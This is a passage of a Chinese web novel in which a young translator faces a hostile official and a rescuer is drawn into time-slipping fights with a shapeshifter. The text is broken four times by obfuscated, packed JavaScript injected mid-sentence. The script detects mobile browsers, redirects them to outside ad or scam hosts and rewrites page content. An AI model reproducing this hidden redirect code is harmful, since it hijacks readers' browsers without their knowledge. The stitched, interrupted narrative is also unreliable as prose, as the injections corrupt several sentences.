没有什么感情是斩断不了、放弃不了的。 接下来,应该要做的事情,她作为“南冬雪”这个名字的代名词必须要去完成。 因为不擅长回礼,所以南冬雪向林森和妙华发去了求助信号。两个小时之后,三个人在附近的高档商场会面。 “我想买两件珍贵又实用的东西,送给两位八十岁的老人。他们在我以前上学的时候很照顾我,还有他们的孙子,也帮了我一个大忙,需要一件回礼。”南冬雪说明需求。 “八十岁?”林森看起来有些疑惑,“还要实用?给爷爷送茶叶,给奶奶送玉镯子。” 妙华表示认可,“孙子嘛,应该是个成年人了吧?要不送瓶酒?” 见南冬雪面露难色,妙华以为她是觉得不合适,“你是不是觉得这些不够表现出贴心,太过传统了?” 南冬雪点头,不过眉头舒展开来,“这样挺好,我就是想还一份恩情,希望以后尽量可以不来往。也不是说不来往,要我帮忙的话,我肯定会帮的,虽然我帮不了什么大忙,照顾他们还是可以的。我就是不想掺和进他们的家庭关系里去。” 林森和妙华互相看了一眼,想问点什么都自觉地选择了闭嘴。 最终,南冬雪花掉了大半年的工资,买齐了这些东西,在发工资之前,银行卡里余额只够这个月紧巴巴的饭钱。 “对不起哦,师兄,华姐,下次再请你们吃一顿大餐。” 妙华揉揉南冬雪的脑袋,笑脸贴近,鼻尖挨着她的脸颊,爽朗道,“你真是太可爱了,姐姐先借你好了,看一眼手机,已经给你发过去了,把钱收了吧,发了工资再还,别说推辞的话哦,那样的话我可就和你生气了。一个人也要照顾好自己,努力工作挣钱才行,知道吧?” “嗯嗯!”南冬雪感动得快要落泪。“我一定努力工作,明天就去上班,我要挣更多钱!” 转过一个拐角,一位打扮时尚、干练,穿着一身天蓝色非正式西装,身材高挑瘦削的人迎面相撞。这人却面带笑意盯着南冬雪看。 林森和妙华一时分不清这人是男是女,看向南冬雪。她也愣着,明明觉得对方是认识她的,但她没能认出来。 直到那人摘下快要遮住一半脸的墨镜,露出捉迷藏时终于被心爱的小兔子抓到了的慈爱笑容,“呀,南南,真不愧是你,在这儿也能听到你要努力工作的宣誓呢!真不错,加油。” 南冬雪有些丢脸,先向身边的林森和妙华介绍,“这是我老板。”又对老板再次表决心,“会的,一定加油,谢谢老板。” 他们的鸡皮疙瘩一定都起来了吧?在熟人面前表现得像个小学生一样,真令人尴尬。南冬雪偷偷看了一眼正在和老板客套的两人,发现大家都被规训完美了似的,你来我往,说着教科书上的礼貌话,并没有半点不适。 “原来两位是南南的兄嫂,你们看起来关系很好嘛,这孩子平日里有些沉默寡言,不喜欢和人分享自己,得多多开导,提升自信心。”老板说。 南冬雪瞪大了眼睛,也搞得林森和妙华忍俊不禁。 出了学校,谁还这么对她说话啊? 待老板走后,南冬雪迫不及待解释,“我们老板以前是幼儿园老师,在公司也时不时这样说话,把员工哄成三岁小孩了都……” 叽叽咕咕声尚未结束,老板突然回头,一边从包里翻找东西,一边说,“南南,之前和你讲的工作,需要几套正式一些的衣服,正好你在逛街,去挑一挑,公司买单。明天准时上岗,记得打扮正式一点。” 说完,一张金卡扔给南冬雪,随后潇洒离去,不忘再叮嘱一句,“一定要买穿出气势来的衣服。” “这是施舍吗?”南冬雪一时不知道该怎么想。 妙华思考了几秒,说,“不,这是工作。接受的话,就离不开了。” “这是机会。”林森鼓励说,“师妹,你总是能幸运的遇到对你好的人,得把握住才行。贷款上班也不是不行,用工作成果来回报,你的老板应该会这样想的。” 妙华对此番发言表示肯定,“对,走,带你挑衣服。” 妙华跃跃欲试。她很喜欢购物。 南冬雪也觉得,既然如此,那就大胆一次,反正她已经没有什么可以失去的了。林森跟在两人身后,为着妻子即将对自己的钱包进行“大出血”手术皱了皱脸,无奈的心甘情愿着小跑前进。 这天晚上,炽连泽回家之后,看见爷爷奶奶还在客厅坐着,一副威严的姿态,还以为自己又犯了什么错,竟然惹得老人家生气,走过去一看,原来他们是在对茶几上放着的礼物发愁。 “又是谁啊?还能找到这里来?真是了不起。”炽连泽把那一大堆东西仔细看了一遍,也就茶叶、玉镯和一瓶酒稍微值点钱,爷爷奶奶肯定看不上,不过其他的东西都是健康的有机食品,更讨人欢心。“这不是来求您办事的吧?奶奶,那还发什么愁?人家一片心意,虽然不怎么值钱,但也尽力了吧,也挺用心的。这些水果蔬菜不是挺好的吗?” “你知道是谁送的吗?”爷爷的语气听来对此事并不在意,他跟着惆怅只是因为夫人为此不开心。 “谁啊?”炽连泽再次在礼物盒里到处翻找,希望找到送礼人留下的卡片之类,“难道是你们讨厌的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“对对对,你请人到家里来,我和你奶奶给她准备两个大红包好了,就这样吧,让她带着她丈夫。老陈,你也别出去了,那种地方不适合你去逛,万一摔了怎么了你让小孩怎么办?”爷爷说。 “她丈夫?”炽连泽低下头忍不住小声嗤笑,回想起那个人变成自己模样的一幕,不禁打了一个寒颤,“奶奶,这事交给我吧,你放心,您就被别管了。再说了,她做事不一向考虑周全,完美无缺吗?” 炽连泽无意识的张开手心,只瞥了一眼,便迅速的握紧拳头,藏起来不让爷爷奶奶看见。 突然的用力弄疼了他的伤口。 但这又算得了什么呢?那朵海棠花又出现了。 南冬雪,我们之间,你想断就能断得了吗? 窗外飘雪。玻璃上映出□□熊的影子。炽连泽回头,看见南冬雪正躺在床上,抱着□□熊的胳膊睡得香甜。 2025年1月3日23:21和2025年1月6日23:21交叉于一点。 炽连泽站在床尾的一角,用手机遥控打开了床头的灯,远远看着不该出现在这个房间里的人。 她深深的吸了一口气,胸腔处的被子微微起伏。 她的长睫毛也闪了闪。脑袋在枕头上蹭了蹭,找到了一个更舒服的姿势继续熟睡。 炽连泽把房间的温度调高了一度,悄悄离开。拧动门把手,一股风从门缝里吹进来,听见南冬雪猛地坐起来,撞翻了床头柜上随意堆叠的几本书。 “你干什么?” 惊恐急切的声调……如雨珠砸在水面之上。 余音乍断。他回头看去,床上空无一人,干净整洁,完全是他刚刚整理完毕的样子。 手上的海棠花又消失不见。 18. 铁衣 河边杂志社成立的宗旨在于记录民间真实故事,伴随着这座小城一代人历经时代变迁成长起来,如今虽然地位在业界数一数二,但生存却岌岌可危。由于电子媒体的盛行,老牌的纸质杂志处于随时停刊的状况。 就是因为这样,外国学者访问,他们的翻译员显得有些寒酸了。 “这才有我们赚这份钱的机会,要是做得好了,也能接到一些翻译信件、报告、文学作品这样的任务,对我们的长期合作关系至关重要。”老板再次打量一番南冬雪,对她今天的着装表示肯定,“黑发红唇,很好,显得很有精神,把头发放下来吧,有女人味。今天你的任务只是跟着我就好,多多体验这种工作环境。你的翻译能力绰绰有余,只是与人交往总是显得心虚。” 南冬雪脱掉冬日厚重的呢子外套,露出内里一条修身的黑色羊毛针织长裙,大面积裸露的脖子上戴了一条不显眼的单颗珍珠项链,一双走路不会发出“哒哒”声的裸色高跟鞋。长长的头发散落在肩上,让她的脸看起来更小。两只大眼睛和红唇最吸人眼球,整个人又表现出一种温柔娴静的气质。 老板的手搭在南冬雪肩膀上,揽着她往镜子前一站。一个气场强大,一个小鸟依人,皆是明艳的都市丽人。 “很漂亮嘛!自信点儿,挺起胸膛,大声说话。” 衣服是妙华挑的,妆是她一早赶过来帮自己化的。来到这里之后,口红的颜色老板改的。 镜子里的人熟悉又陌生。南冬雪从来没想过,自己也可以和颖姐这样的人站在一起,像她一样绚烂夺目。就算只是假装,这让她产生了信心:自己以后也会变成这样,一直这样,开心自信的活着。 有人来了。老板上前去迎接、客套。南冬雪慢慢走过去,尽量不破坏自己刚刚在镜中的形象。 走廊有些昏暗。两侧墙壁上挂着组织关系和一些公告。 她随机瞥了一眼,看到了一个熟悉面孔。目光向下,他的名字:宋敏安。这是位透着浓浓书生气的老先生,看容貌约莫五十五岁,实际年龄会大一些。 正同颖姐谈话的人,正是宋敏安。 他打开办公室的门,“请进。” 目光不失分寸的逡巡在南冬雪脸上。他热情地倒了两杯茶水送到两人手上,礼貌询问,“这位是……” “这是我的员工,叫南冬雪。今天跟我来学习学习,宋主任,我之前和你打过招呼的。”颖姐说。 南冬雪眼神直勾勾看他,“宋主任您好。” 宋敏安不怯不惊,温文儒雅,看起来是光明磊落,令人尊敬的一位学者。 “来得正好。方博士,俄国学者十点到,我们的车现在得出发去接了。您的这位员工正好留下来教我几句打招呼的×语怎么样?我想在远客面前表现得亲切一些。” “小南,你可以留下来帮忙吗?” 该怎么说“不可以”?南冬雪说不出来。这关系着日后的业务往来。她不能不满足甲方的如此简单的要求。 南冬雪刚要开口,老板又说,“宋主任,我还是带着她好了,没经验,要是教错了那我可该怎么负责呀?您要是想学,我们线上联系怎么样?” “可是车上没有那么多位置。”宋敏安说,“要不然我开车带你们去?回来的时候方博士你和我们的俄国学者坐在一辆车里,照顾一下他们,我带着你的员工返回。” 南冬雪只好说,“我留下来吧,颖姐,没关系。” “有事给我打电话。”临走前,方颖对南冬雪说。她在防着什么,南冬雪也能明白,受到照拂,内心感激不尽。 恨意支撑着她有勇气独自面对这个人。 当方颖和一众学者返回来时,看见南冬雪完好无损,状态保持极佳,便快速的投入工作状态之中,谈笑之间,友人问起南冬雪,她也会说上两句,获得了极大的称赞。 晚间餐桌上,一队学者分成了两部分。一半人想要去参观附近的民间博物馆,这不在安排的活动范围之内,所以方颖主动陪着他们提前离席了。剩下的两个人还在品尝美食,由宋敏安和两名下属作陪,南冬雪充当翻译。 气氛在南冬雪翻译了一段长达三分钟×语之后陡然生变。 宋敏安语调未改,仍然斯斯文文、和和气气道,“请大点声,我听不见。” 南冬雪自知这是短板,从一开始说话,就在用力发出声音,像是早间背诵课文一样。她深觉不妙,再一次尽量大声,稳住说话的音调不变形,重复了一遍中文。 “请大点声。”宋敏安再次说。声音掷地有声。 外国友人问南冬雪,“发生了什么事?你们在说什么?宋先生是什么意思?” 南冬雪请他们稍安勿躁,说自己的翻译出现了错误,正在和宋先生探讨正确的翻译方式。她从包里拿出便携式迷你扩音器戴上,又被宋敏安不耐烦的阻止,作出不愿多看她一眼的表情说,“得了吧,把你那玩意收起来,什么场合你分不清楚吗?制造噪音吗?自己什么水平不知道吗?当什么翻译?” “宋先生,这几句需要我翻译吗?” 宋敏安的两名下属察觉到气氛的转变,借故离开。 “把你领导叫回来。”宋敏安抛下一句。 外国人又在问,南冬雪告诉他们说,自己难以胜任,需要请刚刚那位博士来帮忙。 “那你是要离开了吗?”他们看着南冬雪穿上了外套,起身问道,“稍等,感谢你今天的工作付出,我可以送你一个我们国家的纪念品作为答谢吗?” 南冬雪同他们礼貌告别之后,从包间走出来,看见方颖已经回来了。此时宋敏安也追出来,用他那文人的皮囊控告道,“方博士,您这位员工太缺乏经验,还很没有礼貌,差点把我们的谈话搞砸。以后还是不要在我们这儿做翻译了,要是换个人我依然欢迎。” “发生了什么事?”方颖看看南冬雪,扭过头去问宋敏安。 “需要我说第二遍吗?方博士,客人问我的问题我还没有回答,请尽快进去帮忙翻译吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065398|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你先回去,明天再说。”方颖拍了拍南冬雪的肩膀,跟着宋民安进了包间。 门轻轻的关上。 门轻轻的关上。 炽连泽刚刚在路上被人撞到,好不容易愈合的伤口再次裂开来。他紧急到医院进行处理,刚刚缝完最后一针,他恍然心慌、头痛。 “是地震了吗?”这种感觉…… “没有。你不舒服吗?” “有点想吐。”炽连泽看见手心里的那朵花又出现了。 关上一道门,花会消失。出现的话,说明他可能会进入另外的时间。炽连泽还不确定这个规律是不是准确。他自然是不愿意奇怪的东西留在自己身上。 刚刚走出医院,队友便打了电话过来,叫他去现场帮一个小忙,人手不够。如果不是情况紧急,没有别的办法,他们是不会打扰正在养伤的伤员的。 炽连泽来到队友所说的那所学校后围。那边有一片危房,搁置了多年,至今仍然没有拆除。 深更半夜,一个年轻学生在这里失踪。搜救队早已开始工作,警察也来了,正带着搜救犬寻找线索。 炽连泽按照队友的指示,举着手机手电筒,越过警戒带,沿着胡同往前走,再转弯,进入一个以前是箱包生产车间的大楼。 他没有注意到周围的声音和灯光,以及人影,是什么时候消失的。脑海中记忆的指示也捕捉痕迹的变了方向,他毫无察觉。 他推开了一道门,回头看着它轻轻的关上。 紧接着看到空空的窗户外,是某个大学的田径场。灯光大亮,一群学生在踢足球。 那里,这里,是两个世界。一个繁华兴盛,一个空寂无望。 冬天?踢足球?可能吗?炽连泽觉得伤口在发热,起初不想去在意,往下一道门走去时,浑身都开始发热。 “砰!” “砰!” 突然的震动仿佛把这寂静世界撕开了一道口子。炽连泽被吓得顿时一身冷汗,他冷静下来,听清楚那是面前那道铁门发出的声音。 同时,一个女声的哭腔在里面弱弱的响起。 “有没有人在?” “帮我开一下门吧……” “能不能帮我开一下门?” 炽连泽抹了抹汗,把羽绒服拉开来,让自己的脑袋清醒一些,一边朝那铁门走去,一边说,“你就是今晚失踪的那名学生吗?” 铁门被人从外面用铁棍卡住,除非铁棍被取下,否则无法从里面打开。 “别着急,我马上放你出来。” 她的声音很像南冬雪。炽连泽的一颗心绷紧了。 亮光越来越近,炽连泽的影子渐渐映在门上。 他伸手去拉那铁棍,如风吹过,眼前的影子豁然壮大,形成了一个人形。 不,是真正的、拥有实体的人。 炽连泽没能反应过来,被那一团黑影的人一掌推飞到窗边,半个身体悬在外头。黑影一脚踩在窗沿上,伸手拉住了他的领带。 19. 破阵曲(1) 危楼,五层。下方堆积着建筑垃圾。要是掉下去必死无疑。 “里面的人是谁?”炽连泽沉声问道。尽管他的心紧张起来,浑身的肌肉紧绷着,但他并不害怕。 “想进去看看吗?” 这人的声音很有辨识度,炽连泽此刻一时半会想不起来。 他松开炽连泽的领带,看着炽连泽的身体继续往外滑了一段,眼疾手快的再次抓住。 炽连泽觉得这个动作难度极大,容易失手。但是这个人并不担心。他的体型看起来没有炽连泽结实有力,却能轻松的把炽连泽拿捏在手里。 而且,令炽连泽微微恐慌的一点是,他的双腿明明尽力勾住了地面上冒出来的一段钢筋。这个人放手的那一瞬,那根钢筋似乎是从地面上冒出来,失去了支撑力,炽连泽的身体才会往外滑。 “我本来不是想进去看看吗?结果被你拦住了,你有什么话对我说?” 炽连泽上半身努力往上探,抓住了那人的手臂。他并没有拒绝,看来是想进行一场友好的聊天。 “怕吗?” “不怕。”炽连泽说。他成为特殊搜救队队员,那就是在生死线上徘徊,经历的危险事件够多了。这些话他不想多说。“一点也不怕,还有问题吗?” “别多管闲事。” 炽连泽的身体不由得往外滑,那人一脚踩在炽连泽的小腿上,把他钉在那里。 “告诉我你是谁。”炽连泽借着腿上被固定的力道,上半身猛地扑上去,将那个人带进楼内,压倒在地上,迅速打了他一拳。 掉落的手机在五米之外,手电筒的光虽然亮堂但照射范围小,窗外是皎洁月光,两边的光线都比较弱。 炽连泽掀掉了这个人的帽子,发现他的脸仍然是一片黑暗,连一丁点人的特征也没有。 “你是谁?” 炽连泽伸手去摸。 刚刚明明揍到了他的脸。 “这么想知道的话,我来让你看看我是谁吧。”他停顿了一下,似乎是往铁门的方向看了一眼,“可怜的孩子,就让她在里面多害怕一会儿好了。” 炽连泽跟着去看那道门。他应该先把里面的人放出来为好。他刚准备起身,感觉到身下的地面裂开,仅仅只是那个人躺着的地方像是被刻刀挖了一块出来,紧接着下坠。 炽连泽的身体感受到了下坠时的加速度。在这种情况下,他无法做出判断和行动。只有眼睛所看到的东西才来得及印在记忆之中。 被他压在身下的人消失了。废楼快速上升,相反,他在下坠。 马上……马上就要死了。因为越来越强烈的失重感,炽连泽的上半身缩成一团,双臂护住脑袋。 马上就要到了。他的胸腔快要炸开。 眼睛因为闭的太过用力,产生了幻觉。 大概是幻觉。他看到了一片白茫茫的空旷地方。 脑袋轻轻落下。身体的紧张感骤然散去。他重新恢复了正常的感受。炽连泽睁开眼睛,看见自己的手机正在不远处亮着灯。而他,依然躺在五层楼的地面上,窗边的钢筋平放在那里,铁门大开。 炽连泽立刻跑过去一看,空空的房间里什么都没有。而楼下传来女生的说话声。他立刻追过去,远远瞧见一个人拉着另一个人正在快速下楼。 跑在前方的那个人回头望向炽连泽。 亮堂堂的月光之下,炽连泽看清了那个人的脸。紧接着,他拉着的那个女生也匆匆回头望了一眼。炽连泽看得清清楚楚。 “张梧桐!” 他在笑。那个表情分明是在炫耀。 炫耀什么?他先带走了南冬雪吗?南冬雪为什么又在这个地方? 炽连泽心里暗骂了一句。他的好胜心被激起,迅速追下去。一直跑出废楼之外,突然眼前灯光闪烁。 一个人跑过来,抓着他来到安全地带,“泽哥,你怎么来了?你来这干嘛?” 冬日的夜晚雾气深重,冷风呼啸。一盏盏灯光照亮了整条胡同,警察和搜救队员正在有序撤退。看这情况,大概是任务已经完成了。 炽连泽已经猜到是怎么回事,显然他是回到了过去的某个时间。他心中挂念着那个人说要让他看看自己是谁,结果没有告诉他答案就溜了,这可不行。 “不是你给我打的电话,叫我过来吗?”炽连泽一边应付自己的队友,一边思考怎么把那个人抓出来。 “我?我是给小刘打电话了,你正在养伤,我把你叫来岂不是太没有人性了?” 炽连泽没想到这事能诡异到这种地步。另一方面,是不是说明那个围绕在他和南冬雪身边的非人类神通广大?他翻出通话记录,显示的号码不是他接电话时看到的队友名字,而是一串乱七八糟的字符,通话时间倒是大差不差。 他回拨过去,手机上一声剧烈的震动,提示说号码无效。 “那学生找到了?”炽连泽问。 “学生?”队友疑惑,“不是学生,是社会无业人员,五十多岁,挺危险的,泽哥,现在没事了,要不要我送你回去?” “不用了,我开车来的,自己回去。”炽连泽目送队友离开,转身又走进了大楼,推开一道门。 萤火虫从窗外的草丛里慢慢飞向空中,整个空间的温度超过三十摄氏度。 炽连泽知道,他又回来了,如此轻松,只是推开了一道门,用那只浮现出海棠花的手。 但是周围除了蚊虫和风,没有人的动静。 炽连泽有些懊恼。他恍然想起,自己无法判断重新返回的这个时间是不是刚刚遇见那个人和南冬雪的时间。 他还怪聪明的。 炽连泽又转身,开门出去。 风是热的。周围无人,也无灯。月亮和星星倒是亮堂。他没有回到正确的时间。 炽连泽重新回到五楼,那道铁门是开着的。窗边的钢筋是折断状态,说明现在是南冬雪被救出之后的某个时间。他捡起铁棍,举着手电筒,走进铁门内部,许久没有通风,烟尘混着某种排泄物发酵的味道冲进胸腔,几乎令人不能呼吸。 炽连泽站在门口,举着灯扫了一圈,确认里面什么都没有。他的脚踩过的地方留下了脚印,于是他蹲下来,仔细寻找。 水泥地面上蒙了厚厚一层灰尘,什么都看不见。 正当他泄气之时,一个小小的东西映入眼帘。他用铁棍把那挂着绳子的三角形之物勾到眼前,抖落了厚厚的尘土,那东西的全貌展现出来。 是一个红色的布包,上面用金线绣着三个字——护身符。炽连泽摸到里面似乎装了东西,打开来一看,“南冬雪”三个字给予他的冲击力,就像是吸血鬼在坟墓里挖到了四百年前心爱的女孩正当年少时的照片。 “把它让给我怎么样?” 炽连泽吓得一激灵。把那护身符紧紧攥在手心里,塞进了靠近心脏的衬衣口袋中。接着看到那个人终于露出了全貌。 “南冬雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15074221|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在哪里?”张梧桐的脸。他怎么敢?! “她对你很重要吗?”张梧桐上前一步,整个人猛然增大了一倍,炽连泽显得像个豆芽菜。张梧桐步步紧逼,“她对我来说,是我的一切。如果不是你,我会和她生活在一起,白头到老。你在雪地里找到了这个人,害得我不得不离开。作为补偿,把你的身份给我吧。我会作为你,继续你的生活,绝对比你在这个世上活得精彩多了,怎么样?反正你也觉得一切都没有意义,她,也没有意义,对不对?” 炽连泽觉得腿软。每后退一步都像是在拖着钉入地面的石头桩子。简单的脑袋在如此非人类所能理解的情景恐吓之下,所能思考的事情变得更加单一了。 “你……是什么?”他的身体,包括声音都止不住颤抖。炽连泽本以为自己已经能够接受这些怪异的事情。当他再次面对,却无法控制的产生了恐惧。 “我会慢慢告诉你的。只要你遵从我的意志,把你的一切都交给我。” 张梧桐又变成了他的脸。他被轻轻一推,身体向后慢慢倾倒的过程中,看到站在自己对面的人变成了他的脸,他在想为什么他自己要伤害他呢? 耳边的翻书声“哗啦啦”消失在脑后。他没有觉得任何不对劲。 他躺在了雪山上,四肢僵硬,无法动弹。那时候他在想,要是一个名垂史册的人躺在这儿会做什么? 他蹲在满是飞尘的大楼废墟底下,呼吸道不适的时候,他在想,有没有一个人永远的想念这种感觉?一个人面对着这种环境,会想要做什么呢? 阳光明媚的早晨,他窝在被子里,听着钟表的秒针“滴答滴答”一声又一声,催他入眠,醒来又是两个小时逝去。他呆望着窗外,看见两只麻雀飞过,他又在想,过去的这两个小时要是送给有用的人会怎么样呢? 他的大脑好像处于刀刃之上。只要选择一边就可以正常的生活,但他选择了中间位置。 时间对他来说没有什么用。周围的人对他来说,也没有什么用。 他是游戏里的一个NPC,一直在努力扮演好自己的角色。至于他的心需要什么,看不见的幕后人物认为他需要电池,在某一个不被关注的角落里,他知道自己实际上并没有什么用。 那本书又翻过了一页。因为无聊,他不能长久地停留在一个环境之中。 从26岁一页页往前翻,直到十多年前的某个午后,课间,他们在阳台上坐在同一张凳子上,他在唱歌,旁边的南冬雪一脸呆呆傻傻样无动于衷。 像这样许许多多个瞬间留下的情景重现,比炽连泽本人还记得清楚,他不禁发笑。 “对不起哈,我没有特别想要留下来的瞬间。看来你并不清楚我是一个怎样的人。” 炽连泽猛地睁开眼睛,摆脱了身体上的一切重负,倍感轻松舒畅。他发现自己坐在水泥地上,大楼已然倒塌,横梁和墙壁乱七八糟拼凑在一起,搭出了一个小小的空间。 外面的光从缝隙间透进来,微尘在光束里跃动。 他看见不远处的水泥板下面有一个人正在挣扎。炽连泽来不及多想,立刻从狭窄的空隙之间爬过去,一边从对讲机里呼唤队友,一边努力抬起那块石板。 队长指挥现场的声音,混着救护车的警笛声、狗叫声、人员嘈杂的喊叫声、附近石板继续倒塌撞击的声音。 炽连泽抬头,面对这绝望的环境,他心里的“无用”化作了所向披靡的剑锋,为柔弱的生命——开路! 20. 破阵曲(2) “你没用,但看起来并不是没有事情可做。既然你喜欢,那就永远的留在这里吧。” 这个声音在炽连泽心底浅浅的滑过。他意识到自己清清楚楚的听见了,还有那余音绕梁、久久不离去的得意笑声,让炽连泽明白自己正在被耻笑着,算计着。 但是他正忙于争分夺秒的救护被困在废墟下的人,无暇去思考。终于把那个人从石板底下挖出来,队友帮助他对伤员进行转移。 他回头望去,前方还有一个人正在挣扎。他不能不继续。他不能停下来。 他没有注意到,被救出来的那个人,以及队友的脸和身体都是虚的,宛如一道影子。他们发出的声音也是虚无的,来自于他以前在类似的环境中留下的记忆。 他也没有发觉,第二个被压在地板下的人,和第一个人是一样的姿势,一样的环境。他所进行的动作也是一模一样。 他陷入了某种循环之中。 唯有心底的声音在提醒这一切都是假的,然而不能耽搁一分一秒去救人的炽连泽根本无法意识到这一点。 那个人轻轻叹了一口气。 炽连泽一回头,看见前方又有一个人等待被救。 “坚持住,马上就能救你出来。” 生,或者死。炽连泽无数次在这样的情境之下感到恐惧,害怕任何一个生命在他的手底下溜走。他只能拼命的牢牢抓住那一点点时间,拼命的把遇难者从死亡的笼罩之下强行拉出来。 他一个人将那块水泥板抬起来,将要透支了所有的力气。身体的感觉渐渐麻木,四肢软绵绵的挂在躯体上,几乎无法再控制它们。这种时候,不出力的脑袋格外清楚。 他觉得自己好像变得聪明了一点。 过去的记忆袭上心头,浅浅淡淡的情绪逐渐浓墨重彩的抹过来。他的整颗心都在求助。 回头一看,还有人。他不能停下来。炽连泽不敢喘息,咬着牙爬起来,拖着身体从砖石的缝隙间钻过去,先是一点点清理掉碎的水泥块,确认底下的人还有呼吸,再尝试着去挪开那大的水泥板。 他把那人从水泥板下面拖出来,一面呼唤队友,一面叫醒受伤的人,鼓舞他打起精神。 手拍了拍受伤人的脸,尽量把伤处和鼻孔、口腔的尘土碎物清除掉。 他觉得这个人有些熟悉。 炽连泽。他想。很熟悉,但不知道他到底是谁,和他之间有过怎样的来往。 “要是我能成为你就好了。” 男声,女声混杂着。他分不清是谁的声音,而清楚这句话曾经有一个人这么说过。那个时候,他没有在意。他能怎么想呢?他知道别人在羡慕他的家庭条件、长相,实际上他也在羡慕别人。 “如果有可能,你想成为谁?” “你太傻了,根本不可能。别想了,炽连泽,你课文背会了没有,我要检查了。” 他慌忙低头去寻找书本,想要耍赖,但面前一片虚无。 “炽连泽,你在哪里?” 声音从石板底下传出来。炽连泽习惯性的伸手去摸,看见电话已然接通,南冬雪在另一边说话,声音温柔恬静,他微微心安了一些,脸上的表情肉眼可见的舒朗开来。 他丝毫没有觉得这有什么不对劲之处。 “你还好吗?喂,你在干嘛呢?” 南冬雪因为突然的心慌意乱,坐立不安,疯狂的想要给他打一个电话问候平安,终于控制不住才拨通了这个电话。 “我……没事……我在……” 炽连泽呆呆地环顾四周,透进废墟里的光线比刚才更明亮一些,粉尘在其中游动。他恍然不清楚自己在做些什么。 “你喝酒了吗?那我是打扰你了吧……那……再见,没事就好。” “别挂电话!”他急忙大喊道。 产生了回音。光束里的微尘本应因为呼吸的影响改变了航道,这件事炽连泽十分熟悉。他在上课的时候,常常盯着光束里的微尘去看。但这次,微尘丝毫不受影响。好像他不在那里似的。 “我……看见炽连泽了。” 他压制不住内心暗暗的喜悦,嘴角扬起一抹胜利的笑容。 电话那头的人沉默着,这边的他静静等着。片刻之后,听见南冬雪语调平淡的说,“过来找我好不好?我在……我在练习发声……” 她的声音带着点儿哭腔,下一句话显然听够听出她故意让别人听出自己假装的快乐轻松。 “在湖边。你知道你是谁的吧?过来找我,我在这儿等你,能不能快点?我是说,让你自己,你,过来找我,不是别人,知道了吗?你知道你是谁,对吗?” 语无伦次。在某个爱她的人听来,她是在卑微的乞求。 “知道了,等我。” 他挂掉电话。 书正要翻向下一页。 他抓起一块不大不小的石块往那个光束断裂的方向砸去,迅速起身,躲在废墟的一角,看见被自己从石板底下拉出来的人并不是自己,也不是任何一个人,只是一个影子而已。而后听见重物撞在铁门上的一声。 黑影在废墟之间快速移动。炽连泽再也不畏首畏尾的从乱七八糟的水泥板之间的缝隙穿过。 一切都是假的。 他还是待在那栋废楼的五层空房间里。 炽连泽抓到了影子的尾巴,一拳挥过去,打中了什么东西。那人趁机对他使了剪刀腿,炽连泽被扭摔在地上。他立刻扭转身体,抬脚一勾,再一踹。 □□撞在墙上,然后掉下来,滚落下来…… 掉进了一个巨大的深坑。 看起来很远,感觉上又十分近。 他们是在山顶。六月,离天空举手之遥。天蓝的有些可怕。云卷云舒,就在眼前,追赶几步就能置身于其中。纯澈的风里混着淡淡的花香。 山体被一点点凿出来,变成了那个坑。时间已经过了很久, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083288|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岩壁之上布满绿苔和黄色的野花。 冒险的少年不慎失足,跌进谷底。 他应该顺着钢索滑行到下面去,把人救上来。炽连泽却鬼使神差的弯下腰,向那人伸出了手,想要把他拉上来。 小麦色皮肤的中年男人利用善良的表象,握紧了炽连泽的手,就在他马上爬出深坑之时,猛地用力,意图把炽连泽推下去。 炽连泽并非没有防备。他似乎是在等着这一刻,并不给对方甩开他的机会,反而是拖着他一起滚下去。一边翻滚,一边互相揍着对方的脸。 “我知道是你。这么做好玩吗?看我不揍得你求爷爷告奶奶,你到底是谁啊,在这耀武扬威的玩弄别人?我差点以为自己精神分裂了知道吗?” 正在翻页的书,被撕掉了半边。 炽连泽看见他们仍然身处于那个有着铁门的空房间。被他紧紧抓着衣领的人明明面目清晰,但下一秒还是觉得陌生。他根本记不住这个人的长相。 晃神间,两人从坡上滚到坡下,在小溪里停下来。 炽连泽浑身湿透,寒冷打击着他的意志力。 抬头一看,那失足少年坐在坡上的一棵歪脖子树上,晃荡着腿。 明眸皓齿,柔弱如雪。那是南冬雪。 这一年,她十四岁。 “在那干什么呢?小心摔下来!” 炽连泽顾不上自己,双手叉着腰教训。 但很快,他意识到了不对劲。扭头朝水里一看,此时的自己已经长大成人,正是二十六岁的模样。 